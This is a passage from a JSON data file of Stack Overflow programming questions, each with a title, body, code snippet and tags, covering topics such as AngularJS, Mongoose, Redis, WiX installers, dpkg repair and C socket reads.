because it will not be easy for us to migrate either codebase to the other version.
\nAny ideas?\nUPDATE\nI was able to switch the native code over to visual studio
2010 and this did fix the problem. (why must microsoft make my life so difficult?)
While I did make the system build, the lead on the project is giving me MAJOR
hassles about this solution (he is concerned that it may not run correctly or that
we will have to switch over dependent libraries).\nSO is there a solution to this
problem that doesn't force me to switch visual studio version?\n",
"System::String", "c# wpf string interop c++-cli"], "5972202": ["Create single
python executable module", "Guys, I have much python code in modules which are
resides in several python packages and now I need to create single python
executable module or file which will include all these files, so it will be working
on windows and on linux servers. What are possible solutions and how this can be
done?\n", "", "python linux winapi executable"], "4855137": ["image does not show
up in html email sent from mailcomposer in IOS6 but works great in IOS5", "images
do not show up in html email sent from mailcomposer in IOS6 but works perfect in
IOS5 and all simulators. compiled using 4.5.2 Xcode and IOS 6.0.1 on iPad. Also if
I compile on 4.5.2 Xcode to my IOS4.3 or 5.x it also works fine so its something to
do with IOS6\nHere is a sample html email.. testhtml.text (html stored in and
retrieved from testhtml UTtextView within app)\n\nand here is my code\n\n", "
<html>\n <head>\n <title>RTM</title>\n <meta name=\"viewport\"
content=\"width=device-width; initial-scale=1.0; maximum-scale=1.0;\"/>\n
</head>\n <body style= \"background-color: #FFFFFF;\">\n <div>\n testtest\
n </div>\n <div>\n <img src='file:/var/mobile/Applications/BFAC6231-0E64-
40A6-B791-15D157E5DBAA/Documents/image.png 'height='300px' width= '480px'>\n
</div>\n </body>\n </html>\n", "html image email ios6"], "3434450":
["Angular.js view doesn't update when nested $scope array is updated", "I am trying
to make an angular.js view update itself when adding a comment. My code is as
follows:\n\nthe scope is updated on enter:\n\ndebugging $scope.currentItem shows
that the comment has been added to it, however the view doesn't show the new
comment. I suspect that the $scope is only being watched on its first level and
that this is why the view doesn't update. is that the case? If so how can I fix
it?\nSOLUTION:\nAs Ajay suggested in his answer below I wrapped the array push into
the apply function like this:\n\n", "<div class=\"comment clearfix\" data-ng-
repeat=\"comment in currentItem.comments\" data-ng-class=\"{bubble: $first}\" data-
ng-instant>\n <div>\n <p>\n <span
class=\"username\">{{comment.user}}</span> {{comment.message}}\n </p>\n
<p class=\"time\">\n 10 minutes ago\n </p>\n </div>\n</div>\
n<div class=\"comment reply\">\n <div class=\"row-fluid\">\n <div
class=\"span1\">\n <img src=\"assets/img/samples/user2.jpg\"
alt=\"user2\" />\n </div>\n <div class=\"span11\">\n
<textarea class=\"input-block-level addComment\" type=\"text\" placeholder=\"Reply\
u2026\"></textarea>\n </div>\n </div>\n</div>\n", "javascript angularjs
angularjs-scope angularjs-ng-repeat"], "5046313": ["What happens to a request
between connect and pretransfer?", "I have a hosted webapp which requests data from
a REST webservice in our office. Each page calls one (or several) webservices,
which go from our host, via our firewall to a server in our office.\nAll of a
sudden, the app has dramatically slowed. We have determined that the webservice is
timing out at random when called externally (it's fine when called within the
office network).\nI'm pretty certain it's our connection which is dropping the
webservice call, so I've written a quick php/curl script which calls the webservice
over many iterations and shows the various timings.\nBelow is an example output,
showing both a failed and a successful call (with a 5 second timeout):\n\nAs per
iteration #1 above, failed requests seem to be failing between and . My question
is, what happens between these two stages?\nFurther info - our firewall is showing
a series of log messages. Our IT team tells me these are routine, although I can
find no mention of these in Google. I'm not sure if this fits in between connect
and pretransfer.\n", " http_code namelookup_time connect_time
pretransfer_time starttransfer_time total_time \n1 0
0.000096 0.0342 0.0000 0.0000
0.0342 \n2 200 0.000052 0.0332
0.1327 0.1751 0.1752 \n", "web-services curl
connect pretransfer"], "3189077": ["How to change knitr options mid chunk", "Hi I
would like to change chunk options, mid chunk, without having to create a new
chunk..\nrunning the following code I would expect to get two very different size
outputs, but for some reason this does not seem to be the case.\nAlso the second
plot doesn't plot at all...(it does when you change it to plot(2:1000)...but either
way the second output is the same size as the first. both . What am I doing wrong?\
nPls note the importance of 'mid chunk' the reason for this is that I would like to
change the chunk options several times when running a function to get different
outputs of different sizes.\n\nthe sessionInfo output is as follows:\n\n\n",
"fig.width=7", "r options knitr chunks"], "1869797": ["Marshalling a float[][] as
float**", "Let's say I have a C++ function with the prototype\n\nHow can I call
this function with a argument from C#? Possibly without using unsafe code.\n",
"int someFunction(const float ** raws)\n", "c# c++ pinvoke marshalling"],
"3242366": ["Mongoose Trying to open unclosed connection", "This is a simplified
version of the problem, but basically I'm trying to open 2 mongodb connections with
mongoose and it's giving me \"Trying to open unclosed connection.\" error.\nCode
sample:\n\nAny idea how to make it work?\n", "var db1 = require('mongoose');\
ndb1.connect('my.db.ip.address', 'my-db');\n\nvar db2 = require('mongoose');\
ndb2.connect('my.db.ip.address', 'my-db');\n\ndb2.connection.close();\
ndb1.connection.close();\n", "node.js mongodb mongoose"], "5145754": ["Cannot
properly get the value of a dropdown", "I have a dropdown list and a javascript
function which disables other fields when a certain value from the dropdown list is
selected.\nJavascript Code\n\nHere is the HTML code of the dropdown list and where
I call the javascript function.\n\nRight now, the only thing that works is when I
select the \"Single\" option however, it does not seem to get proper selected value
for the rest of the options. Can anyone tell me what
I did wrong?\nThanks!\n", "function maritalStatusChange()\n {\n var
dropdown = document.getElementById(\"maritalstatus\").value;\n\n if(dropdown
== 'Single')\n {\n
document.getElementById(\"spousefld\").disabled = true;\n
document.getElementById(\"spouse_occupation\").disabled = true;\n
document.getElementById(\"address3\").disabled = true;\n
document.getElementById(\"children_no\").disabled = true;\n
document.getElementById(\"spousefld\").value = \"\";\n
document.getElementById(\"spouse_occupation\").value = \"\";\n
document.getElementById(\"address3\").value = \"\";\n
document.getElementById(\"children_no\").value= \"None\";\n }\n
if(dropdown == 'Married')\n {\n
document.getElementById(\"spousefld\").disabled = false;\n
document.getElementById(\"spouse_occupation\").disabled= false;\n
document.getElementById(\"address3\").disabled = false;\n
document.getElementById(\"children_no\").disabled = false;\n
document.getElementById(\"maritalstatus\").value= 'Married';\n }\n
if(dropdown == 'Separated')\n {\n
document.getElementById(\"spousefld\").disabled = false;\n
document.getElementById(\"spouse_occupation\").disabled= false;\n
document.getElementById(\"address3\").disabled = false;\n
document.getElementById(\"children_no\").disabled = false;\n }\n
if(dropdown == 'Widowed')\n {\n
document.getElementById(\"spousefld\").disabled = false;\n
document.getElementById(\"spouse_occupation\").disabled= false;\n
document.getElementById(\"address3\").disabled = false;\n
document.getElementById(\"children_no\").disabled = false;\n }\n }\n",
"javascript html drop-down-menu"], "5123104": ["Proper way for count empty
variables", "I use kohana and when you try to fetch data from database it returns
class variables(like $user->firstname) as a database data. User table have a 12
columns and i fetch 8 columns but at this point some of columuns maybe empty(like
$user->phone). How can i found empty column number ?(Proper way..)\nThanks A Lot\
n", "", "php oop class count kohana"], "32589": ["Releasing resources in android",
"My first post... you know...\nI Created a class :\n\nNow the activity Class's
onCreate method is simple:\n\nMy question here is how to release the resources
after the user exits the activity ? \nI am not sure how to release the instantiated
object panel and all the objects created in it like MediaPlayer, Graphics....\
nThanks\naskanaan\n", "public class MyPanel extends SurfaceView implements
SurfaceHolder,\n SurfaceHolder.Callback {\n private MediaPlayer shooting =
new MediaPlayer();\n public Panel(Context context, int screenWidth, int
screenHeight) {\n super(context);\n shooting = MediaPlayer\n
.create(ctx, Utils.getRawResIdFromName(\"gunshot\"));\n }\n void anotherMethod()
{\n //...\n shooting.start();\n }\n//....other stuff....\n }\n", "android
resources mediaplayer release"], "679537": ["WIX installer does not display disk
cost in windows 7", "I am using WIX installer for creating setups.\nThe disk cost
feature works fine on windows server 2003 but it shows 0(zero) KB for the feature.
It shows 'compiling cost for the feature'\nCan someone please guide me on how to
make the disk cost feature work on windows 7, windows server 2008, etc.\n\n", "",
"installer wix wix3"], "4077358": ["ClearCase list of files with given label type
applied", "We currently use clearcase on a project, and there is an HTML file that
was generated with clearcase that contains all of the filenames of the files that
were included in a label.\nI am supposed to generate this file with a different
label. I know how to get all of the filenames that were included in a label using
the cleartool command line, but that doesn't help me with generating the file. I
don't want to manually take that list and create the HTML file. So, how do I create
this file?\nI currently do not have a copy of the HTML file, but I have seen it.
Hopefully this question isn't too confusing and too vague. I'm still relatively new
to clearcase and just found out some of the cleartool commands today, so hopefully
this is an easy question to answer.\n", "", "report clearcase cleartool"],
"5134034": ["Validate website ownership in rails", "For a more recent discussion
about a similar topic check this question out.\nHi all,\nHoping someone can help me
out with this one:\nWhat's the best way to validate whether a particular user has
ownership of a website?\nLet's say you had this model:\n\nIn order to make sure the
User does indeed own that website I thought about doing email validations. Example:
user lists example.com as their website and an email gets sent to
[email protected]. If a user sends a response message from example.com the
website is validate.\nThe problem with this is if there was a website where a large
group of people could send an email from a website with that domain name, like
gmail.com. I wouldn't want a user to register gmail as their personal website.\
nThus it seems the best way to do it is to have the user to embed some code in the
HTML and the rails applications makes sure that that code is there.\nHow would you
go about doing this?\nKenji\n", "class User < ActiveRecord::Base\n
has_many :websites\nend\n", "ruby-on-rails validation website ownership"],
"2365236": ["Why does QSslSocket::startServerEncryption block other sockets on the
same thread?", "I have a which is transferring data with 1 MB/s speed. \nWhen I
create a second and call , the first socket stops receiving data (or at least the
signal) until the signal for the second socket is emitted, which takes about 1
second.\n does not block, it returns immediately and I return to the event loop.\
nWhy does that happen?\n\nEdit: \nI put each QSslSocket on a separate thread, and
they don't block each other. But still they shouldn't block each other even when
they are on the same thread.\n", "QSslSocket", "c++ qt qsslsocket"], "3434452":
["Display Modal VC from within Category", "I have a category branched off from a
NSMangedObject Subclass. It handles the creation and deletion of core data
objects.\nInside my creation method, I display a UIAlert to the user asking if they
want to configure the new object. The delegate the responds to the UIAlert is the
same category. \nI'd like to push the configuration dialog to the screen from
within here. What's the best way of doing this. My overall application is based
on a UITabBarController\ndoes this seem right...\n\n", "-(void)alertView:
(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex{\n
AppDelegate *dc = [[UIApplication sharedApplication]delegate];\n\n //push the
Configuration dialog to the screen from here\n NewVC *newVC = [[NewVC
alloc]initWithNibName:@\"New VC\" bundle:nil];\n\n [dc.tabBarController
presentViewController:newVC animated:YES completion:nil];\n}\n", "ios
uitabbarcontroller uialertview category"], "2729958": ["Facebook Graph API
Question: How can i get permanent permission/access token to display a public photo
album on a webpage?", "I know it's possible to display public images once I have
the access token, but how do I go about getting it? I found the facebook dev docs
to be kind've confusing when it comes to extended permissions.\nDo i need to
somehow register the image gallery/portfolio as an app and have the facebook user
who's gallery it is allow it? \nThanks for any help on this!\n", "", "ajax json
facebook facebook-graph-api"], "2447961": ["Ubuntu dpkg error , after crash and
filesystem error recovery", "Ubuntu recently crashed , causing it's partition
damaged ( which is EXT4)\nand Ubuntu was unable to boot , because it couldn't mount
anything , only displays Busybox \nSo I used the Live CD to run fsck on the
partition, which fixed it , but deleted some nodes\nNow Ubuntu is working , but
some files were missing ,\nfor example I lost the Panels configurations and
Chromium's Extensions \nThe Most Annoying problem , that there is some files
corrupted ,\nfor example when I try to install any program, I got this\n\n(Reading
database ... 95%dpkg:\n unrecoverable fatal error, aborting: \n files list file
for package\n 'libservlet2.4-java' is missing final\n newline\n\nI tried these
commands \n\nand from GUI , Synaptic Package Manager > Fix Broken Packages \nSo
this file \"libservlet2.4-java\"\nDoes anyone knows what it does ! and where it's
location ? and how can I fix/get-correct-version-of it ?\nAlso , is there any way I
could tell Ubuntu to Check for ALL it's files , and if there is something corrupted
it should recover it form the CD ?\n\nEdit 1\nI just found the file @
/usr/share/doc/libservlet2.4-java\nit contains the following files\n\
nchangelog.Debian.gz copyright \n README.Debian README.txt\n\nis anything
missing here ??\n\nEdit 2\nI even can't remove the package ! , I got the same error
form dpkg\nI even deleted the whole directory (/usr/share/doc/libservlet2.4-java)\
nbut still have the same problem \n", "dpkg --configure -a\napt-get -f install \
n", "linux ubuntu-10.04 ext4 dpkg"], "1822055": ["How does Apple find dates, times
and addresses in emails?", "In the iOS email client, when an email contains a date,
time or location, the text becomes a hyperlink and it is possible to create an
appointment or look at a map simply by tapping the link. It not only works for
emails in English, but in other languages also. I love this feature and would like
to understand how they do it. \nThe naive way to do this would be to have many
regular expressions and run them all. However I this is not going to scale very
well and will work for only a specific language or date format, etc. I think that
Apple must be using some concept of machine learning to extract entities (8:00PM,
8PM, 8:00, 0800, 20:00, 20h, 20h00, 2000 etc.).\nAny idea how Apple is able to
extract entities so quickly in its email client? What machine learning algorithm
would you to apply accomplish such task? \n", "", "machine-learning nlp
information-extraction named-entity-recognition"], "619205": ["HTTP download very
very slow. FTP normal", "The server is serving large file very slow, and get very
very slow or get stucked when the file is over 150kb.\nI've checked everything, the
traffic is normal, and if I download the same over FTP, it's fast as normal. (to
discard NIC card problem)\nMaybe it's a hosting provider problem, but want to clear
all other options before calling.\nHow can I solve or troubleshoot the problem?\n",
"", "windows-server-2008-r2 iis7.5"], "1859778": ["finding and replacing a string
within a line with an if statement", "I am trying to parse a particular text file.
I am trying to open the text file and line by line ask if a particular string is
there (In the following example case its the presence of the number 01 in the curly
brackets), then manipulate a particular string either forwards backwards, or keep
it the same. Here's that example, with one line named arbitrarily \"go\"... (other
lines in the full file have similar format but have etc...\n\nI am trying to
manipulate the first by replacing it with the same letters but backwards .What I
want is to see but as you can see, the result I am getting is that both are turned
backwards to . \nI am also having a problem of executing the specific if statement
for each line. Many lines that dont have are being manipulated as if they
were....\n\nAm I missing something simple?\n", "{01}, {00}", "python string if-
statement replace"], "4767136": ["how to get all users in redis", "I have the
following code .\n\nI want to get all the users list how i can get all users list
this what i tried but its not working.\n", "var redis = require(\"redis\"),\n
client = redis.createClient();\n\n\nuser_rahul = { \n username: 'rahul'\n\
n };\nuser_namita = {\n username: 'namita'\n};\nclient.hmset('users.rahul',
user_rahul);\nclient.hmset('users.namita', user_namita);\nvar username = \"rahul\";
// From a POST perhaps\nclient.hgetall(\"users\" , function(err, user) {\n
console.log(user);\n});\n", "node.js redis"], "619200": ["How to check pf's
queues?", "I use FreeBSD and working with pf+ALTQ now.\nSomething doesn't work and
I need a tool to view what requests are marked and moved to a queue \"queue_name\"\
nNeed something like pftop but showing queues. Can anyone help?\n", "", "freebsd
queue pf"], "2778482": ["Sharepoint List - condition between two cells", "I'm
trying to create a condition between two columns in a Sharepoint list.I have one
column called \"Affected\" (yes/no) and the other one called \"impact info\" (free
text). I want to create a condition in which the user will have to fill in the
details in the \"impact info\" column but only if he chose \"yes\"
in \"affected\".\nCan anybody tell me how should I do that?\nThanks!!!\n", "",
"sharepoint2010"], "3591038": ["SVN on Windows: how to make it English", "I'm using
SVN 1.7.2 binaries on my German Windows XP machine. What I need to do to make it
output text in English instead of German?\n", "", "svn language locale"], "654161":
["Speed of C# lists", "Are C# lists fast? What are the good and bad sides of using
lists to handle objects?\nExtensive use of lists will make software slower? What
are the alternatives to lists in C#?\nHow many objects is \"too many objects\" for
lists?\n", "", "c# oop list"], "3527189": ["Sencha Touch: Showing Load mask
(setLoading) is delayed", "I'm using NestedList that has many elements - let's say
around 200 on first level.\nWhen I tap on list element, I would like to show
Loading mask Immediately,\nthan proceed with loading child elements and other
tasks.\nMy problem is that loading mask will show after long time. This is not a
problem when I go to lower levels, the mask will show as desired. It looks like it
takes along time to actually fire/handle 'itemtap' event. \nWhat I have done:\n\
nI'm setting the mask only when some data needs to be loaded, so it is \"unset\"
like this:\n\nCan I somehow speed-up reaction time for 'itemtap' or use some other
place/event to show the mask earlier?\n", "this.on('itemtap', this.setLoad, this);\
nthis.on('itemtap', this.handleItemTap, this);\n", "sencha-touch"], "4057459":
["YUI datatable conditional dropdown editor", "I'm currently editing an application
which uses YUI 2.5. I haven't used it before and could use some help.\nI want to be
able to add a dropdown editor for a particular column's rows using datatable, but I
only want it to appear if specific values appear in another column in the
corresponding row.\nIs it possible to add some kind of If statement in the column
definitions? Would I have to use a custom formatter?\neg.\n\nI know this code
wouldn't work, by the way, I would just appreciate a bit of guidance.\n", "var
eventColumnDefs = [\n{key:\"event_id\", sortable:false},\n{key:\"event_name\",
sortable:true},\n{key:\"extended\", sortable:true, formatter: function (o) {\n
if (event_name=type1||event_name=type4||event_name=type5) {\n
editor:\"dropdown\", editorOptions:{dropdownOptions:eventData.extendedList}\n
}\n }\n}];\n", "drop-down-menu datatable conditional yui yui-editor"],
"5680129": ["Minimize the Office Ribbon with VBA?", "I haven't searched real hard
recently but in the past I have searched high and low to figure out a way to
minimize the ribbon with VBA code. For me, most of my users have no use for the
ribbon in Access, I would be very happy if I could reclaim the screen real estate
for them.\nI know I could train them to minimize it but...well...they are users,
not computer geeks. :-)\n", "", "ms-access vba ribbon"], "4912785": ["How do I make
features in an MSI Feature Table automatically selected when their parents are
selected", "In my specific example I am looking at the nightly builds of FarManager
3. However, the same applies to FarManager 2.0.\nBy default when you install
FarManager the Addons feature is not selected. You can select the features from a
non-interactive command line install with the following command:\n\nI think it
should be possible to do it with just because of the Feature Table. If you open
the Feature Table in Orca, you see the following child features of Addons.\n\nIs
there any way to modify the feature table so that implies the clild features of
Colors, Macros, SetUp, Shell, and XLat?\n", "msiexec /i \"farSetup.msi\" /passive
ADDLOCAL=Addons,Colors,Macros,SetUp,Shell,XLat'\n", "windows-installer far"],
"2436249": ["Invalid filename. TitleContainer.OpenStream requires a relative URI",
"I have got this error in WPF application.\n\nInvalid filename.
TitleContainer.OpenStream requires a relative URI.\n\n\nI have tried also\n\nNo
success...\nif I do like this \n\nand put file in the root\nThe error is: \n\nError
loading \"performer.png\". File not found.\n\nAny clue?\nThank you!\nP.S. I am sure
file is OK.\n\n\nUPDATE:\nThis post
http://gamedev.stackexchange.com/questions/9748/xna-am-i-screwing-up-the-
loadcontent-for-texture2d doesn't help also.\n", "pic_texture =
Texture2D.FromStream(GraphicsDevice, TitleContainer.OpenStream(@\"\\Images\\
performer.png\"));\n", "c# .net wpf xna"], "5357814": ["C null pointer with string
literals", "Using an ARM, C compiler, I can successfully compile and run the
following:\n\nWhy does this work?\nShouldn't the pointer be a NULL pointer?\nAt the
very least, shouldn't the string literal by allocated in a read-only memory
location?\nEDIT: its a C++ compiler\nEDIT2: Why does the string literal exist in
static scope, after myfunc has gone out of scope? Are string literals not declared
on the stack? And when do they get deallocated?\nThanks!\n", "static char *
myString = 0;\n\nvoid myfunc(int x){\n\n if (x <= 0)\n myString = \"Hello
World\";\n else \n myString = \"This is a different string with a different
length\";\n\n}\n\nint main(){\n\n myfunc(-1);\n printf(\"%s\\n\", myString);\
n myfunc(2);\n printf(\"%s\\n\", myString);\n}\n", "c++ c string pointers
arm"], "4969333": ["Create a Hash from a CSV-like file", "I have a products file
listing the item #, products, and price. I would like to read this file and
initialize it as a hash with the item #'s being the key and the products and price
being the value. Here is my file\n\nI would like it to look like this.\n\nThis is
what i could come up with which is not really what it want.\n\nAnd here is the
output that I came up with:\n\n", "199, Shoes, 59.99\n211, Shirts, 19.99\n245,
Hats, 25.99\n689, Coats, 99.99\n712, Beanies, 6.99\n", "ruby csv"], "5224647":
["Custom Timer Job/Solution Deployment Problems", "I have a single solution that
consists of the following:\nCustom Timer Job (WebApplication scoped)\nCustom
Content Type and List (Web scoped)\nCustom Logging Area (Web scoped)\nThese
features are set to not automatically activate on anything but Central
Administration. When debugging, if I retract the solution and attempt to redeploy
it, I get:\n\nMy understanding is that this is due to the OWSTIMER service needing
to be restarted. Is there a work around here? For what its worth, the assembly is
still in the GAC. Once debugging is stopped, the assembly is removed (but not the
assembly's folder, which is interesting).\nHowever, let's say I'm done with
debugging, package the solution, the GAC is empty. If I then deploy it via
PowerShell, I get the same error about the missing assembly. Even recycling the
OWSTIMER service at this point will not resolve the issue. Instead the only
solution I've
found is to increment the assembly version and redeploy (not very practical).\
nWhen it partially deploys, it unfortunately leaves some of the other features
behind. Because the solution deployment is in an error state, I have to use
Feature Admin to forcefully remove the List feature of my solution.\nHow can I
resolve this deployment issue for my custom timer job?\nCurrent source code.\
nFusion log on assembly bind failure:\n\n", "Failed to load receiver
assembly \"Nauplius.ADLDS.UserProfiles, Version=1.1.0.1, Culture=neutral,
PublicKeyToken=6234e7e34f29e39a\" \nfor
feature \"Nauplius.ADLDS.UserProfiles_LoggingFeature\" (ID: 0b1ba53c-8664-42fc-
a01d-de60cb3e32b7).: \nSystem.IO.FileNotFoundException: \nCould not load file or
assembly 'Nauplius.ADLDS.UserProfiles, Version=1.1.0.1, Culture=neutral,
PublicKeyToken=6234e7e34f29e39a' or one of its dependencies. \nThe system
cannot find the file specified.\nFile name: 'Nauplius.ADLDS.UserProfiles,
Version=1.1.0.1, Culture=neutral, PublicKeyToken=6234e7e34f29e39a'\n", "2010
development custom-timer-job"], "1869794": ["Why was IEnumerable<T> made covariant
in C# 4?", "In earlier versions of C# was defined like this:\n\nSince C# 4 the
definition is:\n\n\nIs it just to make the annoying casts in LINQ expressions go
away?\nWon't this introduce the same problems like with (broken array variance) in
C#?\nHow was the addition of the covariance done from a compatibility point of
view? Will earlier code still work on later versions of .NET or is recompilation
necessary here? What about the other way around?\nWas previous code using this
interface strictly invariant in all cases or is it possible that certain use cases
will behave different now?\n\n", "IEnumerable", "c# generics ienumerable language-
design covariance"], "4233501": ["open source address book importer", "I plan to
implement address book importer in my site so that users can invite their
contacts.\nI am looking for a good open source script that would suffice my need.\
nYahoo, Gmail, Facebook and Hotmail address book is what i am targeting.\nPlease
suggest any software/script.\n", "", "php import addressbook"], "3591039": ["Can i
call htp.p(' $
(this).parent(''.parent_menu'').find(''.child_menu'').slideDown(\"slow\");'); in
document.ready", "I have a menu in which i need to list child for a particular
parent only but on click of child item the page gets refreshed and all the child
gets expanded so my query is can i use\nhtp.p(' $
(this).parent(''.parent_menu'').find(''.child_menu'').slideDown(\"slow\");');\
nafter\nhtp.p(' $(document).ready(function(){');\nAs when i am trying this no
change is seen in behaviour.\nKindly help I am new to javascript and very much new
to jquery.\n", "", "jquery parent-child"], "2714674": ["wxPython and py2app on Mac
OSX Lion: can't import wx", "I need to create a standalone python app with
wxPython, to work with Mac OSX Lion (the client's OS).\nI only have access to a Mac
with Snow Leopard, and used it to build the app with py2app. With Snow Leopard it
works fine, and didn't even have to install wxPython.\nOn a OSX Lion however, the
wx import fails (no module found), even after installing the wxPython for python2.7
(Carbon). I can import wx from the terminal (using the default python - 2.7), but
the app still fails to find wx on import.\nI used the following setup.py:\n\nAnd
compiled it using , to be able to run it on 32-bit.\nWhat's the best way to make it
run on Lion, compiling on Snow Leopard? Could I include the wxPython with the app,
or even python itself (in case it really needs to run with py2.6)? Can I order the
application to run /usr/bin/python2.6? \n", "from setuptools import setup\n\nAPP =
['main.py']\nDATA_FILES = []\nOPTIONS = {'arch': 'i386', 'argv_emulation': True}\n\
nsetup(\n app=APP,\n data_files=DATA_FILES,\n options={'py2app':
OPTIONS},\n setup_requires=['py2app'],\n)\n", "wxpython osx-lion py2app"],
"2450875": ["Trouble with RESTful WCF through SSL", "I am developing a RESTful API
through WCF in .NET 4.\nA have the service running fine on HTTP, but i would like
it to run through SSL (HTTPS). I have a IIS 7.0 with a SSL certificate from Godaddy
installed. But i am having big troubles making the correct configuration of the
web.config file in my WCF service. I have searched in blogs, here and Google for
answers. But haven't crack the nut yet.\nSp please is there a WCF genius which can
point me in the right direction.\nMy web.config files system.servicemodel looks
like this:\n\n", "<system.serviceModel>\n <protocolMapping>\n <add
scheme=\"http\" binding=\"webHttpBinding\" />\n </protocolMapping>\n\n
<behaviors>\n <serviceBehaviors>\n <behavior name=\"\">\n
<serviceMetadata httpGetEnabled=\"true\" />\n <serviceDebug
includeExceptionDetailInFaults=\"true\" />\n </behavior>\n
</serviceBehaviors>\n\n <endpointBehaviors>\n <behavior>\n
<webHttp helpEnabled=\"true\" />\n </behavior>\n
</endpointBehaviors>\n\n </behaviors>\n\n <serviceHostingEnvironment
multipleSiteBindingsEnabled=\"true\"/>\n</system.serviceModel>\n", ".net wcf iis
ssl .net-4.0"], "5150692": ["Why zero index when set_userdata in CI_Session
object?", "I'm trying to set a custom Userdata variable - actually, an array.\nI
have queried MYSQL UserTable based on form input, and returned\nthe record as a
result_array.\n\nThe dump of the userdata session variable is as follows:\n\nNote
that the Login array is contained, but that the data is at INDEX 0 - \nso they're
at Login[0][role]. \nAm I doing something wrong? How do I get the data to be 'up
one level'?\n", "$this->session->set_userdata( 'Login', $ResultofUserMatch );\n",
"arrays codeigniter"], "1766958": ["Make common login between joomla and moodle?",
"I am new in joomla and moodle customization. please help me in how to make common
login between joomla and moodle both plate form?\n", "", "joomla2.5 moodle"],
"4000159": ["High paging file usage, plenty of RAM available", "I've got 2 servers
running Citrix Presentation Server 4.5.5 on Windows Server 2003 x32 Enterprise
Edition SP2 (pae enabled).\nOnce all the users are logged in for the day, the
system starts throwing alerts for high paging file usage (between 75%-85% usage all
day). The Memory-Pages/sec monitor also registers many spikes into the warning and
critical ranges through the day.\nWe had 8GB of physical memory and a 4GB page file
set up, and were normally showing between 7.5GB-8.5GB \"PF usage\" in the windows
task manager.\nMy manager bumped both boxes up to 32GB RAM, but we're still getting
the same alerts.\nWhy is the system still paging instead of using the newly
available physical memory? Is there any way to determine if it's a specific program
and to fix it?\n", "", "windows-server-2003 citrix pagefile"], "3539662":
["Calculate the fraction of wins in craps", "I want to write a function that takes
a positive integer n as input, simulates n craps games, and returns the fraction of
games the player won.\nthe underlying craps simulating code i've written is as
follows:\n\nwhat i get when I execute is:\n\nI just can't get the counter to
work.???\n", "import random\ndef craps():\n dice = random.randrange(1,7) +
random.randrange(1,7)\n if dice in (7,11):\n return 1\n if dice in
(2,3,12):\n return 0\n newRoll = random.randrange(1,7) +
random.randrange(1,7)\n while newRoll not in (7,dice):\n newRoll =
random.randrange(1,7) + random.randrange(1,7)\n if newRoll == dice: \n
return 1\n else:\n return 0\n\nimport random\ndef testCraps(n):\n
count = 0\n fract = count/n\n games = n*craps()\n for i in range(games):\n
if i == 1:\n count +=1\n else:\n pass\n return
fract\n\nusage:\n\n>>> fracCraps(10000) \n0.4844\n>>> fracCraps(10000)\n0.492\n",
"python-3.x count"], "4398785": ["Beamer navigation bar with characters between
sections", "I'm trying to define a custom theme for beamer. I would like to have a
horizontal list of all sections but with a character between them. What I have is:\
n\nAnd what I would like to see is something like:\n\nIs that possible?\n", "\\
setbeamertemplate{headline}[text line]{\\insertsectionnavigationhorizontal{\\
paperwidth}{}{}}\n", "beamer navigation themes"], "2136445": ["Permission denied
for SplFileObject", "I'm running php 5.3.8, on xampp (the newest version, 1.7.7 I
believe), on Windows7 64bit. When I try to construct a SplFileObject giving it a
directory path I get following message (both in read, or write mode):\nfailed to
open stream: Permission denied\nThe folder exists, and I set proper rights
(remember I'm on the Windows, not Linux). Can it be a problem with xampp - for
example windows don't allow apache process to write anywhere on disk?\n", "", "php
xampp splfileobject"], "4010921": ["Is it a bad idea to keep a subtotal field in
database", "I have a MySQL table that represents a list of orders and a related
child table that represents the shipments associated with each order (some orders
have more than one shipment, but most have just one). \nEach shipment has a number
of costs, for example:\n\nItemCost\nShippingCost\nHandlingCost\nTaxCost\n\nThere
are many places in the application where I need to get consolidated information for
the order such as: \n\nTotalItemCost\nTotalShippingCost\nTotalHandlingCost\
nTotalTaxCost\nTotalCost\nTotalPaid\nTotalProfit\n\nAll those fields are dependent
on the aggregated values in the related shipment table. This information is used in
other queries, reports, screens, etc., some of which have to return a result on
tens of thousands of records quickly for a user.\nAs I see it, there are a few
basic ways to go with this:\n\nUse a subquery to calculate these items from the
shipment
table whenever they are needed. This complicates things quite a bit for all the
queried that needs all or part of this information. It is also slow.\nCreate a view
that exposes the subqueries as simple fields. This keeps the reports that needs
them simple.\nAdd these fields in the order table. These would give me the
performance I am looking for, at the expense of having to duplicate data and
calculate it when I make any changes to the shipment records.\n\nOne other thing, I
am using a business layer that exposes functions to get this data (for example
GetOrders(filter)) and I don't need the subtotals each time (or only some of them
some of the time), so generating a subquery each time (even from a view) is
probably a bad idea.\nAre there any best practices that anybody can point me to
help me decide what the best design for this is?\nIncidentally, I ended up doing #3
primarily for performance and query simplicity reasons.\nUpdate:\nGot lots of great
feedback pretty quickly, thank you all. To give a bit more background, one of the
places the information is shown is on the admin console where I have a potentially
very long list of orders and needs to show TotalCost, TotalPaid, and TotalProfit
for each.\n", "", "mysql database-design denormalization"], "1869793": ["Display a
hierarchy of placemarks in google earth", "I am trying to use kml to implement a
heirarchy of regions as describe in\nKML 2.1 Tutorial\nI would like to have a
feature(polygon or icon) representing a region and when the region becomes active I
would like to display a feature representing each of the regions immediate children
but no longer display the icon representing the parent region.\nAn example would be
if I had a region representing Canada and a placemark in the middle of the region.
When the Canada region becomes active I want the canada placemark to disappear and
want to display placemarks over the provinces of Canada(a region and placemark for
BC, Alberta ect.). Then when the BC region became active I would like to replace
the bc placemark with placemarks for cities in bc.\nAny help would be greatly
appreciated.\nThank you.\n", "", "kml google-earth regions"], "5967955": ["How can
I better read my socket?", "This just gets stuck every time I loop it. It sits
waiting to read but never reads anything, because, well.. there's nothing left to
read.\nHere's the read function:\n\nHere's what's calling it:\n\nAny suggestions? \
n", "int readSocket(int sockfd, char* buffer) {\n\n FILE* file;\n file =
fopen(\"logfile.txt\",\"a+\");\n\n char code[5];\n\n while(1) {\n\n
int nBytes = read(sockfd, buffer, MY_BUFFER_SIZE);\n fprintf(file,\"S->C:
%s\",buffer);\n\n strncpy(code, buffer,4); \n code[4]='\\0';\n\n\n\n
if (nBytes == 0) break;\n\n memset(buffer, 0, MY_BUFFER_SIZE);\n\n }\n
fclose(file);\n return codeParser(atoi(code));\n}\n", "c sockets"], "608714":
["Bash script for creating text in a file using arguments", "Imagine that you have
to create many lines in file all with the same text except for one variable:\n\nI
was wondering if this could be made using a bash script passing it the variable as
an argument:\n\nWhich would generate this:\n\nAny suggestions or examples on how to
do this?\n", "foo text $variable bar text\nfoo text $variable bar text\nfoo text
